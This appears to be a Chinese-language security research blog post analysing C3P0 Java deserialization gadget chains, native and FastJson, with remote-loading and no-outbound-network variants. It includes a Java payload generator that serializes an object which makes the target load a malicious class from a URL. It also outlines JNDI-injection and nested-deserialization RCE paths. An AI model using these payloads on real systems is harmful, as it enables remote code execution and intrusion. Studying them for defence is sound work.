Java反序列化之C3P0利用链从出网到无需出网原理深入分析与实现
引言
C3P0反序列化利用链是Java反序列化漏洞中比较经典的一条RCE利用链。但是相对诸如`CommonsCollections`、`CommonsBeanutils`这些常规利用链而言,大家的关注度还是要少一些。最近看到有大佬对C3P0利用链不出网做了一些研究,在此基础上,自己也系统地梳理一下各种姿势的C3P0利用链,包括:
- Java原生态反序列化利用链-远程加载恶意类
- Java原生态反序列化利用链改进-无需出网
- Json反序列化利用链-远程加载恶意类
- Json反序列化利用链-无需出网
这里将4个利用链的原理分析与具体实现分享给大家。
原生态利用链-远程加载恶意类
首先看下`ysoserial`对C3P0利用链的描述:
C3P0.java
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/C3P0.java
为了方便分析,这里构建一个基础研究环境,添加依赖项:
<dependencies> <dependency> <groupId>com.mchange</groupId> <artifactId>C3P0</artifactId> <version>0.9.5.2</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25.0-GA</version> </dependency></dependencies>
0x01 静态分析
深入分析`ysoserial`调用链:
* com.sun.jndi.rmi.registry.RegistryContext->lookup* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject* com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase->readObject
`com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase#readObject`:
首先从`ois`中取出`version`对象,然后再对`ois`进行反序列化操作,提取`IndirectlySerialized`对象(`com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized`继承于`IndirectlySerialized`),进入`com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject`函数:
可能很容易认为利用链是通过第85行的`lookup`函数触发的,后来实际调试过程中发现不对。代码走到第88行,进入函数`ReferenceableUtils.referenceToObject`:
当`Reference#getFactoryClassLocation`函数返回非空时,将通过`URLClassLoader`去远程加载类对象,在第51~52行完成实例化操作,所以我们可以构造一个远程恶意类,然后通过远程加载实现RCE。
0x02 构造过程
从上面分析可知,整个利用链起步于`com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase#readObject`,刚好`com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase`还存在一个`writeObject`反函数操作:
通过分析发现,关键的封装过程实际上位于异常处理部分,所以在生成载荷的过程中可以故意抛出一个异常,让其进入`catch`部分处理。这里可以考虑在第170行对`connectionPoolDataSource`进行序列化操作时,完成异常抛出,因此手动构造一个类`PoolDataSource`:
因为`PoolDataSource`没有继承系列化接口,所以在执行序列化操作时会抛出异常。核心代码如下:
public static void main(String[]args)throws Exception{ String url="http://127.0.0.1:1024/"; String className="exploit"; ConnectionPoolDataSource connectionPoolDataSource=new PoolDataSource(url,className); PoolBackedDataSourceBase poolBackedDataSource=new PoolBackedDataSource(); poolBackedDataSource.setConnectionPoolDataSource(connectionPoolDataSource); util.serialize(poolBackedDataSource,"py1.ser"); } private static class PoolDataSource implements ConnectionPoolDataSource, Referenceable { private String className; private String url; public PoolDataSource(String url,String className){ this.className = className; this.url = url; } public Reference getReference () throws NamingException { return new Reference("C3P0", this.className, this.url); } public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}}
0x03 测试过程
构造测试案例,调试如下:
0x04 小结
上面构造的C3P0原生态反序列化利用链需要出网连接,通过加载远程恶意类触发RCE。从上面分析过程可以看出,加载远程恶意类并非通过`com.sun.jndi.rmi.registry.RegistryContext#lookup`来触发的,所以`ysoserial`上的注释描述是不正确的。
原生态利用链改进-无需出网
0x01 原理分析
在上面分析过程中提到了,当`Reference#getFactoryClassLocation`函数非空时,将通过`URLClassLoader`去远程加载类对象,那么如果`Reference#getFactoryClassLocation`函数返回`null`时,代码是如何走的呢?
可见,当变量`v11`为`null`时,将会加载当前线程的`ClassLoader`,所以如果在程序上下文环境中能够找到一个本地类,也是可以实现RCE的。这里大家很容易联想到veracode研究的高版本JDK利用本地Tomcat环境中的`javax.el.ELProcessor`实现JNDI注入的思路:
Exploiting JNDI Injections in Java
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
当处于Tomcat8及更高版本环境时,也可以通过`javax.el.ELProcessor`来构建不出网利用链。
0x02 构造过程
将`Reference`对象替换成`ResourceRef`即可:
与上面设计`PoolDataSource`的思路类似,可以自定义`PoolDataSource2`类:
0x03 测试过程
0x04 小结
与高版本JDK实现JNDI注入类似,利用本地自带的类,也可以自构一个无需出网的C3P0利用链。上面的分析是基于Tomcat环境完成构建的,当存在其他可用的本地类时,也可以达到一样的效果。
Json利用链-远程加载恶意类
C3P0除了可以构建Java原生态反序列化利用链之外,还可以构建Json反序列化利用链,在`marshalsec`中包含2个利用链。
为了方便调试分析,这里引入FastJson:
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version></dependency>
0x01 原理分析
第一条是基于`com.mchange.v2.c3p0.JndiRefForwardingDataSource`来构建的。
`JndiRefForwardingDataSource#setLoginTimeout`函数:
进入`inner`函数:
进入`dereference`函数:
可以触发`lookup`,输入参数来源于`jndiName`参数,而`JndiRefForwardingDataSource`继承于`JndiRefDataSourceBase`,`JndiRefDataSourceBase#setJndiName`定义如下:
0x02 构造与测试
通过上面的分析,我们可以很容易构造出一个JNDI注入的利用链:
Json利用链改进-无需出网
0x01 原理分析
`marshalsec`中的第二条利用链是基于`com.mchange.v2.c3p0.WrapperConnectionPoolDataSource`完成。`WrapperConnectionPoolDataSource`继承于`WrapperConnectionPoolDataSourceBase`:
`WrapperConnectionPoolDataSourceBase#setUserOverridesAsString`函数:
触发`fireVetoableChange`事件处理,而在`WrapperConnectionPoolDataSource`中重写了`setUpPropertyListeners`函数:
当属性为`userOverridesAsString`时,将调用`parseUserOverridesAsString`函数,跟进:
对`userOverridesAsString`进行截取后,完成十六进制解码,然后调用`fromByteArray`函数:
最终触发了反序列化操作。
0x02 构造与测试
从上面分析可知,当环境中还存在一个Java原生态反序列化利用链时,可实现C3P0 Json反序列化无需出网RCE触发。这里再加入`commons-collections 3`:
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version></dependency>
